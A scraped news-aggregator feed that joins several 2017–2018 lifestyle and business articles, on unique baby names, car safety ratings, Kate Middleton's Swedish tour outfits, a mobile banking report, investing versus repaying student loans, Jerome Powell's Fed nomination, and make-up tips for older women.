Shermain Jeremy, a New York mommy blogger, also started thinking about names as soon as she learned she was pregnant. She wanted to give her child a unique name to make her stand out. “Your name is your banner,” Jeremy says. Inspired by J-Zay and Beyoncé naming their first child Blue Ivy, Jeremy wanted her kid to have two first names. “Rose” was her favorite; she also liked “Opal,” her first daughter’s birthstone. Jeremy threw in a hyphen to make sure no one would drop one name for the other. Today, Opal-Rose is 3 years old. Jeremy used the same formula for daughter No. 2, Ruby-Rain. “It’s about meaning and a sense of pride and identity,” says Jeremy, who has already purchased domain names for both daughters — Opal-rose.com and Ruby-rain.com — should they want them in the future.

Jeremy isn’t alone in using pop culture to choose a name. Last year, 69 people in the U.K. named their baby Khaleesi, after the character played by Emilia Clarke on HBO’s Game of Thrones, according to the Office for National Statistics. “It’s a different name, but it’s not too different,” says Evans, pointing out that “Khaleesi” sounds a little like the more familiar names Lisa or Kayley.

So are the Johns of the world feeling left out these days? Not yet. John Soat, a graphic designer in Brooklyn, New York, is named after his uncle and says he has no qualms with his name. “No one has ever told me, ‘Wow, that’s a beautiful name,’ but I don’t ever have to correct anyone after pronouncing it,” Soat says. He feels like the best names, regardless of how common they might be, tap into something unique about the individual.

The history of unique names runs deeper within African-American communities. During the civil rights and Black Power movements, African-American activists began distancing themselves from names associated with slavery. The rise of Elijah Muhammad’s Nation of Islam played into that trend too — after joining the Nation of Islam, Cassius Marcellus Clay changed his name to Muhammad Ali, in 1964. Many Black Power activists joined him. “There were concerted efforts on the part of Black people to adopt names that intentionally gave a nod to the continent,” says Nghana Lewis, associate professor of English and African diaspora studies at Tulane University in New Orleans. As part of the Black Power movement, Lewis’ parents chose her first name to ensure her connection with Ghana. The tradition of unique names among African-Americans is still going strong decades later, though today it’s more focused on connecting the child to family rather than to Africa, Lewis says. She recently christened a baby named Carjay — a combination of his parents’ first names.

But a unique name alone isn’t enough, says Elisabeth Waugaman, author of Women, Their Names, & the Stories They Tell. Whether it’s a common name or an unusual one, having a story behind it is more important to your identity, Waugaman argues. Whether their parents came up with it or it came from family history, the women she interviewed for her book were happiest when their names told a story. Waugaman also believes one reason unique names are more popular today is because each generation tries to separate itself from the previous one.

Over the past decade, several studies have been conducted that reveal names can affect job prospects. In 2003, the National Bureau of Economic Research found that job seekers with “White” names needed to submit 10 résumés to get one callback, while those with “Black” names needed to send 15 résumés to get one callback. A 2017 study published in PNAS, the journal of the National Academy of Sciences, found little has changed since then. White applicants receive 36 percent more callbacks on average than African-Americans. Education, gender and occupational group barely influenced the results.

Still, unique names continue to grow. “Kids with the top 50 names keep going down,” says Evans. And from pop culture influence to food, the methods people use to create new names is diversifying too. The name John isn’t dead. But the future, as in Game of Thrones, may belong to Khaleesi too.

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]]> https://briefnews.eu/why-more-people-are-choosing-unique-names-for-their-kids/feed/ 0 How to make choosing the safest car for your family easy https://briefnews.eu/how-to-make-choosing-the-safest-car-for-your-family-easy/ https://briefnews.eu/how-to-make-choosing-the-safest-car-for-your-family-easy/#respond Wed, 16 May 2018 12:52:52 +0000 http://briefnews.eu/how-to-make-choosing-the-safest-car-for-your-family-easy/

It’s true that vehicles get a little bit safer, cumulatively, with every passing year. Each time a car, truck, SUV, or van is redesigned, the automaker can optimize it to ace the safety ratings and incorporate new features that car buyers value to help protect their families and others on the road, like pedestrians and bicyclists. But new cars are subject to more comprehensive safety testing than ever, and there’s a gradient of available safety out there.

There are two organizations that test vehicles for crashworthiness in the U.S.: the National Highway Traffic Safety Administration (NHTSA), a government agency that’s part of the Department of Transportation; and the Insurance Institute for Highway Safety (IIHS), a nonprofit founded and funded by a group of car insurance companies. The way they test cars is not the same, so considering both agencies’ ratings is important.

Without getting into the nitty gritty, IIHS tests are a little tougher to pass because they incorporate “offset” crash tests. Imagine hitting a wall square on – the force is spread out over the entire front of the car, deforming the “crumple zone” to help absorb all that energy. Most car crashes aren’t in a lab, and few involve hitting a wall square on. So some IIHS tests involve a car crashing into an object with less of the front end of the vehicle involved – between 40 and 25 percent, meaning there’s a lot less ability to absorb the impact energy.

To get the highest IIHS rating, headlight performance is also considered. Good headlights won’t keep you from getting hurt in a crash, but they might prevent the crash in the first place. NHTSA does not consider headlight performance.

That doesn’t make NHTSA ratings irrelevant, or IIHS ratings better. They’re simply different, revealing different things about the car. The safest car is one that performs well on all the tests. Getting top ratings from both, which would be 5 stars from NHTSA and a “Top Safety Pick” rating from IIHS, is a pretty good indication that the vehicle is going to be safe in a wide variety of crashes.

You could visit NHTSA and IIHS and start making a spreadsheet of all the safety ratings of the cars you’re interested in to figure all this out, or you could do something much easier: Visit Autoblog’s Car Finder tool and explore the “Top Safety Rating” filter. First of all, using that filter eliminates any vehicle that doesn’t get top safety ratings across the board from both crash test outfits.

You can apply a few further subfilters to check for specific safety features, like Lane Keeping Assist and Blind Spot Monitoring. And don’t forget you can stack filters from other categories as well, like “Hauling Capacity”, or general category filters like price, size, style, and transmission type.

We did this because we know you have better things to do that pour through ratings and make lists … but that’s exactly what we like to do, so there you go. Synergy!

Related Video:

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]]> https://briefnews.eu/how-to-make-choosing-the-safest-car-for-your-family-easy/feed/ 0 Kate Middleton wears THIRD outfit of the day on Swedish royal tour – choosing green again https://briefnews.eu/kate-middleton-wears-third-outfit-of-the-day-on-swedish-royal-tour-choosing-green-again/ https://briefnews.eu/kate-middleton-wears-third-outfit-of-the-day-on-swedish-royal-tour-choosing-green-again/#respond Tue, 30 Jan 2018 15:03:30 +0000 http://briefnews.eu/kate-middleton-wears-third-outfit-of-the-day-on-swedish-royal-tour-choosing-green-again/

Kate Middleton, 36, wore another outfit for the first day of her royal tour of Sweden with Prince William, 35.

The Duchess wore a forest green coat trimmed with black fur.

She matched this with a large black fur hat, and black gloves.

Keeping her legs protected from the weather, Kate wore a pair of black knee high boots, which featured a small block heel.

She carried a small black leather handbag in her hands – although no other accessories were visible.

Kate kept her makeup simple, opting for heavy mascara and peach lipgloss.

Kate’s hair, which had been perfectly curled just hours earlier, had dropped slightly to give her looser, more tumbling waves.

Her hairdresser revealed just how much work goes in to a royal tour after she shared an image on Instagram of the many tools she would be bringing with her to Stockholm.

Amanda Cook Tucker showcased the array of products which go into creating Kate’s hair every day.

Earlier today, Kate wore a green shift dress, showing off her baby bump as she posed for photos with Prince William and the Swedish royals.

The Duchess started the day wrapped up warmly in a black coat, gloves and burgundy scarf.

Prepared for the snow, she wore a pair of black lace-up snow boots to ensure she didn’t slip while at an ice hockey rink.

Fur is the theme of Kate’s outfits so far, as this morning she wore a hat with a fur bobble on top.

Critics were quick to slam the blooming duchess for appearing to wear what they believed was real fur.

One posted: “Okay so I’m disgusted of Kate…. not only her hat is made with artic fox fur but her coat is even too.”

But Kensington Palace was quick to respond to the angry backlash in defence of the mother-of-two by insisting Kate’s hat and gloves were fake fur.

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]]> https://briefnews.eu/kate-middleton-wears-third-outfit-of-the-day-on-swedish-royal-tour-choosing-green-again/feed/ 0 THE MOBILE BANKING COMPETITIVE EDGE REPORT: How banks rank on offering the features consumers say are critical for choosing a bank https://briefnews.eu/the-mobile-banking-competitive-edge-report-how-banks-rank-on-offering-the-features-consumers-say-are-critical-for-choosing-a-bank/ https://briefnews.eu/the-mobile-banking-competitive-edge-report-how-banks-rank-on-offering-the-features-consumers-say-are-critical-for-choosing-a-bank/#respond Mon, 27 Nov 2017 19:38:30 +0000 http://briefnews.eu/the-mobile-banking-competitive-edge-report-how-banks-rank-on-offering-the-features-consumers-say-are-critical-for-choosing-a-bank/ Pacesetters updated

This is a preview of a research report from BI Intelligence, Business Insider’s premium research service. This report is exclusively available to enterprise subscribers. Check to see if your company has access. 

Banks are going to new lengths to attract and retain customers with mobile features. 

In BI Intelligence’s Mobile Banking Competitive Edge study, 83% of respondents said they use mobile banking. And banks are investing in mobile banking capabilities at unprecedented levels: Bank of America tripled its 2015 mobile banking budget in 2016, and maintained it through 2017, for example. Cutting-edge banking services are “table-stakes to attract and retain customers,” according to Michelle Moore, Head of Digital at Bank of America.

BI Intelligence’s first Mobile Banking Competitive Edge Report identifies which mobile banking and emerging features are most important to consumers when choosing a bank. The study ranks the largest 15 banks and credit unions in the US by whether they offer the mobile features that customers say they care most about. The report helps channel strategists choose which features they should focus their attention on, and lets them see how they compare to rival banks in offering those features. 

This study uses exclusive data from the BI Insiders Panel (BIIP), an exclusive online community of 17,000 of our readers from all over the world. Designed to be a leading-edge indicator of what’s next in digital, BIIP members tend to be affluent, tech-savvy early adopters. This means that the BIIP community is an especially sensitive indicator of what consumers will buy and adopt, as well as what behaviors, devices, and platforms will be the winners in digital disruption. 

Here are some of the key takeaways from the report:

  • Wells Fargo leads the pack. The bank offers in-demand mobile transfer capabilities, along with competitive features related to security and mobile wallets. USAA follows closely behind in second. Bank of America and Citi are tied for third, and Capital One rounds out the top five.
  • Mobile transfers are the most in-demand mobile features. Transfers are the most important category of features to consumers when choosing a bank, according to our study. The most in-demand feature in this study, instant transfers, is in this category. Transfers also include bill pay, international transfers, and peer-to-peer (P2P) payments.
  • Post-Equifax, consumer interest in security tools is high. Security and control was the second most popular category in the study. Gen Xers value several features in this category — such as setting travel notifications and mobile access to ATMs — more than millennials.
  • Interest in advanced mobile banking account access is poised to jump. The account access section, the third most popular in this study, includes features like biometrics and account aggregation. With Face ID giving customers a new way to log in to banking, interest in the group of features will likely rise.
  • In spite of lagging adoption, interest in mobile wallets is still healthy. This category weighs not only whether banks support provisioning their cards in each of the popular wallets, but if they offer their own bank-branded wallets. Our study shows consumers rank support of third-party wallets as much more important than banking solutions.
  • Conversational features have the lowest demand in the study. The voice- or chatbot-based banking tools in the category are desired by only a small fraction of consumers. Instead of using the features to attract new customers, banks are exploring offloading costly transitional conversations with live support staff to AI. 

 In full, the report:

  • Shows how 32 mobile features stack up according to how important consumers say they are for choosing a new bank.
  • Ranks the top 15 banks on whether they offer each of those features.
  • Analyzes how demographics effect demand for different mobile features.
  • Provides strategies for banks to best attract and retain customers with mobile features.

The full report is available to BI Intelligence enterprise clients. To learn more about this report, email Senior Account Executive Chris Roth (croth@businessinsider.com). BI Intelligence’s Mobile Banking Competitive Edge study includes: Bank of America, BB&T, Capital One, Chase, Citibank, Fifth Third, HSBC, Key Bank, Navy Federal Credit Union, PNC, SunTrust, TD, US Bank, and USAA.

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]]> https://briefnews.eu/the-mobile-banking-competitive-edge-report-how-banks-rank-on-offering-the-features-consumers-say-are-critical-for-choosing-a-bank/feed/ 0 I have the money to finish paying my student loans — but I’m choosing not to https://briefnews.eu/i-have-the-money-to-finish-paying-my-student-loans-but-im-choosing-not-to/ https://briefnews.eu/i-have-the-money-to-finish-paying-my-student-loans-but-im-choosing-not-to/#respond Tue, 14 Nov 2017 17:18:16 +0000 http://briefnews.eu/i-have-the-money-to-finish-paying-my-student-loans-but-im-choosing-not-to/ man relaxing reading outsideOli Scarff/Getty Images

  • Author Mr. Crazy Kicks decided to invest instead of paying off his student loans.
  • He made this decision by analyzing risk and potential returns.
  • There are a few things he also considered, like tax deductibles and refinancing. 
  • After refinancing the loans, the payments went down, and he was able to invest simultaneously.


A lot of people think you should always work to eliminate debt. While this is a solid approach for high interest debt, paying off low interest student loan debt could significantly slow your portfolio’s growth.

I decided not to pay off my student loans, and invested instead.

While investing was a better choice for me, some of us are more risk averse, and we each need to find the right balance for ourselves. Before we make any decisions, it’s important to compare the numbers and consider the risks.

studnt loansCourtesy of Mr Crazy Kicks

You may have heard of the concept of homo economicus, a simplified economic model of us humans. It assumes that people behave in a rational way, always looking out for self-interest by making the most optimal financial decisions. But we’re a bit more complicated than that.

In reality, I feel like I fall between two diametrically opposing models. Let’s call them homo Chickenus, and homo Sharkinus. Sharkinus is a lot like homo economicus, it’s always trying to maximize value, and doesn’t mind taking on risk. Chickenus on the other hand, wants to make decisions based on emotion, and is also much more risk averse.

Some of us are born with a little more Sharkinus (like Mrs CK), and some have a little more Chickenus (like me). We all have varying appetites for risk, but we can usually bring Chickenus and Sharkinus into closer agreement by analyzing risks and potential returns.

The utility of debt

As horrible as some people think debt is, it can be a useful tool. We expect companies to retain a healthy amount of debt, because they use loans to buy more equipment, hire more workers, and earn more profits. By growing and commanding more market share, these companies become more valuable with debt than without it.

This can hold true on an individual level. I paid a good portion of my way through college working as a landscaper, but I also had to take on debt. After graduating, I had approximately $ 16k in student loans. But I was also equipped with new skills that allowed me to make more money than I did landscaping.

If we’re using it as a tool for increasing value, Sharkinus has no problem taking on debt. Chickenus on the other hand, isn’t happy with the monthly payments.

Is there value to paying off student loan debt?

Once I graduated, I started getting some decent paychecks. After paying the bills, I had some extra cash to pay off student loan debt or invest. Right off the bat my Chickenus and Sharkinus were in disagreement.

Screen Shot 2017 11 14 at 10.45.00 AMCourtesy of Mr Crazy Kicks

Sharkinus points to the business aspect, “We should invest the money for larger returns, and maybe even take a bite out of some more debt to keep growing!” Meanwhile Chickenus is getting stressed out. “But we’re in debt! What if we lose the job and still owe money?”

They both have good points, but before letting either of them run wild, it’s worth running the numbers.

Is your student loan tax deductible?

Before you decide whether to pay off student loan debt or invest, it’s important to know what your student loan is costing you. The effective interest rate might be a bit lower if it’s tax deductible.

At the time of writing this article, the IRS allows student loan interest deductions up to $ 2,500. This deduction is only available for certain income ranges, and you can check with the IRS website to see if you qualify.

If you do qualify for a deduction, this could mean paying 10-20% less than if you had to pay with after tax money. The effective rate you pay on your loan would be reduced by the same amount. We want to account for that when comparing investment returns with your loan’s interest rates.

Can you refinance?

The lower the interest rate on a loan, the less we get out of paying it off. When I first graduated from school, the interest rate on my loan was 3.5%. After making my payments on time for 2 years, I was able to refinance my loan at 1.6%.

Looking into refinancing is the first thing you should do. I have a few friends who had good luck getting significant reductions in their rates by refinancing with SOFI.

Screen Shot 2017 11 14 at 10.45.07 AMCourtesy of Mr Crazy Kicks

Checking to see if you can get a better rate is one thing that both Chickenus and Sharkinus agree on.

Don’t forget, inflation is working for you

While Chickenus is always thinking about how debt is bad, Sharkinus is thinking about how low interest debt can increase value. “Consider a student loan charging 1% interest. With inflation at around 2%, we’d be coming out ahead 1% each year, just by only paying the interest!”

Of course, to really come out ahead, you also have to invest the money that would otherwise have gone toward paying off the student loan debt. And those investments need to return more than what your debt is costing.

What kind of returns could you get instead?

If you just wanted to beat inflation, you could invest in TIPS (Treasury Inflation Protected Securities.) These bonds track inflation, and are pretty much guaranteed returns since they’re backed by the US government. In the case that a student loan is less than 2%, it might be better to invest in TIPS.

Chickenus does like the idea of guaranteed returns. “Maybe we can invest in government bonds over paying off super low interest student loans.” But Sharkinus still isn’t happy. “That’s a start, but we can get even better returns in the stock market.”

When it comes to stock and bond investments, we use a 4% rule to determine safe withdrawal rates for early retirement. This tells how much we can expect a portfolio to provide us based on historical worst case scenarios. But the studies behind the 4% rule use real returns, meaning that inflation is already accounted for. This is so that you can increase your withdrawals each year with inflation to maintain a standard of living.

If we weren’t accounting for inflation, we could expect investment returns closer to 6% based on historical worst case scenarios. And if we look at the averages, the stock market has returned closer to 10% throughout history. I invest in basic index funds, and at the time of writing this article, the Total Stock Market Index Fund has a 10 year return of 7.7%.

Sharkinus would be quick to remind us, “If you invested 10 years ago, it would have been right before the massive stock market crash of 2008… And even with that terrible timing, you would have earned 7.7% on average 10 years later!”

So should I pay off my student loan?

Well, even Chickenus is now OK with keeping the super low interest student loans, let’s say below 2%, because there are options for guaranteed greater returns. Sharkinus however, wants to invest the money before paying anything less than 6%, and still wants to take on even more debt. “We’ve run the numbers, you’re pretty much guaranteed to make more money in the stock market over the long haul.”

Screen Shot 2017 11 14 at 10.45.16 AMCourtesy of Mr Crazy Kicks

Even though I’ve looked at the numbers myself, 6% is sounding like a pretty high interest rate. I get that Sharkinus wants to clear extra profits, but I’m not sure it’s worth the extra risk. And even for a growing company, there is a limit to what is considered a healthy amount of debt.  On the other hand, I do think Chickenus might be costing us some money by being a little too, umm… chicken.

Consider investing while paying down student loan debt

While Sharkinus would like to have a portfolio allocation of 100% stocks, a lot of us still appease Chickenus by keeping some portion of bonds. That way, we can still get good returns, and Chickenus will let us sleep at night. We can do a similar split with our student loan repayments.

If you normally invest 75% stocks and 25% bonds, you could consider continuing investing 75% in stocks, and then put the 25% towards debt rather than bonds. The Total Bond Marketindex fund is only returning 2.3% at the time of this article. And it’s more important to have time in the market with your stock investments.

Fighting the temptation to pay off student loans

Even though I already quit my job, I still have student loan debt. The rate is 1.6%, and I just checked my balance — I owe $ 1,500.

Screen Shot 2017 11 14 at 10.45.24 AMCourtesy of Mr Crazy Kicks

While all the beasts in my head agree this is student loan debt worth keeping, Chickenus is still really tempted to just pay it off. Mostly because it would feel so good to eliminate the payments. But we all came to an agreement years ago, and it’s been working out well. My portfolio has doubled in value since I started investing, making me about $ 15k richer than if I had paid off my student loan.

My decision was pretty easy though. Paying off a student loan with such a low rate was something everyone could get on board with. If you still have debt in the 2-6% range, you should figure out how to appease your own Sharkinus and Chickenus.

You don’t want to side 100% with Sharkinus if you might be swayed by Chickenus to sell stocks when the market tanks. That’s why it’s important to pick a strategy and stick with it. The best answer is probably going to be somewhere in between what our Sharkinus and Chickenus want us to do.

NOW WATCH: A running coach explains the 2 most important activities runners should do to avoid knee pain

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]]> https://briefnews.eu/i-have-the-money-to-finish-paying-my-student-loans-but-im-choosing-not-to/feed/ 0 Trump plays it safe with Fed chair pick choosing Jerome Powell to replace Janet Yellen https://briefnews.eu/trump-plays-it-safe-with-fed-chair-pick-choosing-jerome-powell-to-replace-janet-yellen/ https://briefnews.eu/trump-plays-it-safe-with-fed-chair-pick-choosing-jerome-powell-to-replace-janet-yellen/#respond Fri, 03 Nov 2017 10:43:52 +0000 http://briefnews.eu/trump-plays-it-safe-with-fed-chair-pick-choosing-jerome-powell-to-replace-janet-yellen/ U.S. Federal Reserve Chair Janet Yellen (L) congratulates Fed Governor Jerome Powell at his swearing-in ceremony for a new term on the Fed's board, in Washington in this handout photo taken and released June 16, 2014. REUTERS/U.S. Federal Reserve/Handout via Reuters Thomson Reuters

  • Jerome Powell, the current Fed board governor and former private-equity executive, is US President Donald Trump’s pick to replace Janet Yellen as the central bank’s chair.
  • Powell will face key decisions, including honing consensus around whether to continue raising interest rates in a steady-growth but low-inflation environment.
  • He is seen as the safe bet, having already served on the Fed for 5 years. 
  • Janet Yellen’s term ends in February. 

US President Donald Trump has named Jerome Powell, a current Federal Reserve governor and former finance executive, as his choice to replace Janet Yellen as chair of the world’s most powerful central bank — ending months of speculation about who would take charge.

Powell, who is expected to be confirmed to the role, will face key decisions on whether to continue raising interest rates as the economy sends mixed signals about the growth outlook and US inflation remains well below the Fed’s official 2% target.

Powell is seen as a relatively safe, Wall Street-friendly choice at a crucial time for the central bank. The Fed has begun the process of raising interest rates from post-recession lows and is unwinding its massive asset-buying program — a response to the financial crisis a decade ago.

Trump’s decision not to grant Yellen a second term as chair is a break with the recent tradition of presidents nominating sitting chairs to a second term, even when they have different political affiliations. Yellen is a Democrat and served in the administration of former US President Bill Clinton. Her term ends in February.

Still, Powell does offer continuity of sorts, and in that sense is the best alternative to Yellen among those who were on Trump’s shortlist of candidates. Other candidates reportedly considered included White House adviser and ex-Goldman Sachs executive Gary Cohn and Kevin Warsh, a former Fed governor and Morgan Stanley banker.

The selection was a drawn-out affair conducted in Trump’s very public style. The president tweeted as he met candidates, and last week posted and an Instagram video previewing the decision.

Predictable is good

Powell, a 64-year-old Republican, was appointed to the Fed’s powerful Washington-based board of governors in 2012 by US President Barack Obama. The appointment of Powell, who is among the wealthiest members of the Fed, is likely to be well received on Wall Street, which will see him as a friendly face on possible deregulation but also, importantly, as somewhat predictable on interest-rate policy at a key time for the central bank.

He is likely to maintain the Fed’s course of gradual but cautious rate increases, with an eye to an inflation rate that continues to undershoot the central bank’s 2% goal. This points to economic activity and a labor market still running below their potential, a point highlighted by weak wage growth for most Americans.

The Fed has raised interest rates four times since December 2015, and it recently began gradually winding down its $ 4.5 trillion balance sheet. Fed officials are predicting several additional rate increases this year and next, but financial markets are more skeptical.

Powell worked in private industry much of his life and was a partner at Carlyle Group from 1997 to 2005. Lacking a formal education in economics and having graduated with law degree from Yale University, Powell had to learn on the job when it came to monetary theory and interest-rate policy. Still, his financial background made him well equipped.

He has focused on more tangential issues for the Fed like the regulation of scandal-ridden Libor interest rates, financial innovation, and housing policy. His most recent speech on monetary policy was in June for the Economic Club of New York. At that point he said:

“The healthy state of our economy and favorable outlook suggest that the FOMC should continue the process of normalizing monetary policy. The Committee has been patient in raising rates, and that patience has paid dividends.”

Julia Coronado, a former Fed economist and founder of MacroPolicy Perspectives, says Powell’s greater familiarity with banking and finance than monetary policy makes him more likely to follow the consensus, often driven by staff forecasts, on interest rate policy.

“He has been in line with the leadership on monetary policy in recent years,” she told Business Insider. “His comfort zone and leadership has been in getting his hands dirty on regulatory and financial sector plumbing issues. He is smart and collegial and knows how to lean on the staff’s expertise.”

She said Powell “will probably be a different kind of Fed chair in that he will be forging a consensus more than driving it on monetary policy,” like Yellen, a monetary economist in her own right.

In contrast, said Coronado, “Powell’s depth on financial infrastructure could come in handy if and when the FOMC needs to confront decisions on balance sheet policy again.”

NOW WATCH: Is bitcoin a bubble or the future of everything?

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]]> https://briefnews.eu/trump-plays-it-safe-with-fed-chair-pick-choosing-jerome-powell-to-replace-janet-yellen/feed/ 0 Choosing the right products for your age: Is it time for a make-up bag makeover? https://briefnews.eu/choosing-the-right-products-for-your-age-is-it-time-for-a-make-up-bag-makeover/ https://briefnews.eu/choosing-the-right-products-for-your-age-is-it-time-for-a-make-up-bag-makeover/#respond Thu, 19 Oct 2017 09:12:10 +0000 http://briefnews.eu/choosing-the-right-products-for-your-age-is-it-time-for-a-make-up-bag-makeover/

Woman in beauty salonGETTY – STOCK

It could be time to update your look

Chances are it could do with a makeover.

It  is easy to treat make-up like a trusty pair of slippers, wearing the same style for years and never changing what feels like a good fit.

However the products and techniques you used in your 20s and 30s are unlikely to suit you as you get older.

Gary Cockerill is our resident make-up artist at the clinic and has more than 25 years’ experience working with stars including Eva Longoria, Kelly Brook and Jo Wood.

He is a big fan of using make-up to boost confidence but warns: “Using too heavy a hand or dated techniques can add a decade to your appearance.”

Here we reveal some of his tips and tricks to ensure that you look fabulous at every age.

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BRIGHT EYES

Eyes start to look smaller as you age so avoid dark or metallic shadows which can close up the eyes and emphasise lines.

Instead opt for neutral colours and shades of grey and brown.

Before applying, use an eye primer over the lid to disguise any purple discolouration.

Swap black eyeliner for navy or brown and soften the line after you’ve applied it with a cotton bud.

Don’t use too much concealer under the eyes as this can draw attention to crepiness and fine lines.

Always frame your eyes with lush lashes.

Curl lashes first as this helps lift sagging eyelids, then wiggle the mascara wand back and forth from the roots to the tips for maximum coverage, separation and length.

Avoid mascara on lower lashes as this can make eyes look droopy.

For special occasions try false eyelashes.

Lancome Hypnose Mascara, £24.50 (lancome.co.uk) has silicone, glycerine and vitamin B5 to build up lashes and keep them supple.

Eylure Naturalite False Eyelashes, £5.25 (boots.com) are perfect if you’re over 40 as they look natural and are very easy to apply.

Pur Get A Grip Endurance Eye Shadow Primer, £15.50 (marksandspencer.com) will hide any discolouration on the eyelids.

Pixi Eye Zone Brightener Serum, £14 (pixibeauty.co.uk) is an illuminating eye gel that softens the appearance of fine lines and reduces puffiness.

Brown eyeshadowGETTY – STOCK

Opt for neutral colours of brown and grey

PERFECT POUT

Matte lipsticks are very much in fashion but they tend to emphasise every wrinkle so are best avoided.

Avoid dark colours too as they will make lips look smaller.

Instead choose a glossy, bright lipstick and be adventurous with colours.

Use a pencil in a shade that matches your lipstick colour and don’t go too far outside your lips’ natural line as any lipstick you apply afterwards will get caught in the fine, feathery lines around the mouth.

Smooth a little foundation over the lips before you apply lipstick as this will help the colour last longer.

Mac Lip Pencil in Spice, £13 (maccosmetics.co.uk) is the world’s bestselling luxury lip liner.

The natural colour matches most brownish-red lip colours.

Yves Saint Laurent Rouge Pur Couture Vernis a Levres Glossy Stain, £28 (yslbeauty.co.uk) is one of the new generation of high-pigment lip glosses that can be worn alone and adds shape and colour with no stickiness.

Shocking celebrity makeup fails

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GET CHEEKY

Skipping blusher will make cheeks look flat while a soft flush will give your complexion an instant boost.

Sweep colour along the cheekbones, using the centre of your eye as a starting point.

Choose shades that are soft and sheer such as peach, coral and bronze and avoid bright pink at all costs.

A good tip to get the right shade is to pinch your cheek and pick a shade that matches the flush.

Laura Mercier Creme Cheek Colour, £21.50 (houseoffraser.co.uk) creates a naturally flushed look with a translucent finish.

Mac Mineralize Skin Finish Bronzer, £24.50 (maccosmetics.co. uk) should be swept around the hairline, along the chin and lightly over cheeks for a golden glow.

BlusherGETTY – STOCK

Skipping blusher will make cheeks look flat

BOOST BROWS

The bold defined brow remains a beauty staple whatever your age.

If you have plucked your brows into non-existence use an angled eyebrow brush and taupe powder to thicken your brows or you can fill in sparse brows with short feathery strokes using a pencil in a colour that’s slightly lighter than your natural hue.

Don’t make eyebrows too dark as this will make the face look heavy, hooded and tired.

Dab a highlighting cream that’s slightly lighter than your skin tone above each brow to give a natural lift.

Anastasia Beverly Hills Brow Wiz, £15.50 (cultbeauty.co.uk) is smudge-proof and available in 10 shades.

Make-up Revolution Ultra Brow Palette, £7.99 (superdrug.com) is an all-you-need palette with brush, pencil, tweezers, four blendable powders and two tinted waxes.

EyebrowsGETTY – STOCK

The bold defined brow remains a beauty staple whatever your age

Golden rules for glowing skin at every age

1 Don’t get stuck in a rut. Look through your make-up bag and throw out products that you have had for years.

2 Never go to bed without taking off your make-up. As we age we tend to concentrate on moisturisers and serums but good cleansing is just as important for healthy, radiant skin.

3 A good set of brushes can transform how you apply make-up and there are plenty of online tutorials to show you how to use them. See bellebrushes.com for more information.

4 Highlighters can exaggerate wrinkles but give your skin a natural glow with a dab of lip balm. Put a little on your fingertip and apply to cheekbones, cupid’s bow and above each brow bone.

5 You may develop shadows in the corner of the eyes that make the face appear gaunt and hollow. Disguise with a concealer and give yourself an instant eye lift.

6 When trying out a new foundation don’t buy it immediately. Wear it for a few hours and look at it in natural daylight before deciding.

7 Semi permanent make-up has come a long way over the past few years with new techniques, softer, natural finishes, improved pigments and better needles and the results can be outstanding, especially when used to enhance facial features such as filling in sparse brows or to correct an ageing lip line.

Make sure to go to an experienced therapist.

For more information about Gary Cockerill visit garycockerill.com or call 020 7436 4441

For advice on cosmetic surgery consult your GP.

For more of Lesley’s tips visit lesleyreynolds.com

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